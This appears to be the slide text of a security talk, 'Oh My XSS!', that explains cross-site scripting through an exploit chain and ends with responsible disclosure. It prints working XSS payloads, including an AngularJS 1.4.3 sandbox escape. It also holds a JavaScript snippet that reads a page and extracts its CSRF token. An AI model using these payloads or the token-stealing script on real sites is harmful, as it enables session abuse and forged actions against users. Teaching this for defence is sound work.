Oh My XSS!
What are XSS?
function renderTitle(userInput: string) {
return `<h1>Welcome, ${userInput}!</h1>`
}Think about the following template function
renderTitle('phra')
// => <h1>Welcome phra!</h1>renderTitle('<img src=x onerror=alert(1)>')
// => <h1>Welcome <img src=x onerror=alert(1)>!</h1>XSS are real!
First exploit
First Patch
Second exploit
Third exploit
Forth exploit
Template Injection
{{ 7 * 7 }} => 49Sandbox Escape
AngularJS 1.4.3 Sandbox Escape
{{
'a'.constructor.prototype.charAt=[].join;
$eval('x=1} } };alert(1)//');
}}XSS are real! (2)
XSS are real! (2)
Final Exploit
It works!
Stealing CSRF tokens
function transferComplete(evt) {
const regex = /CSRF\.token = '(.*)';/gm
console.log("The transfer is complete.")
const matches = regex.exec(oReq.responseText)
const token = matches[1]
console.log(token) // XXX: CSRF TOKEN!
}
const oReq = new XMLHttpRequest()
oReq.addEventListener("load", transferComplete)
oReq.open("GET", '/console/')
oReq.send()Responsible Disclosure
Question Time
Oh My XSS
By Francesco Soncina
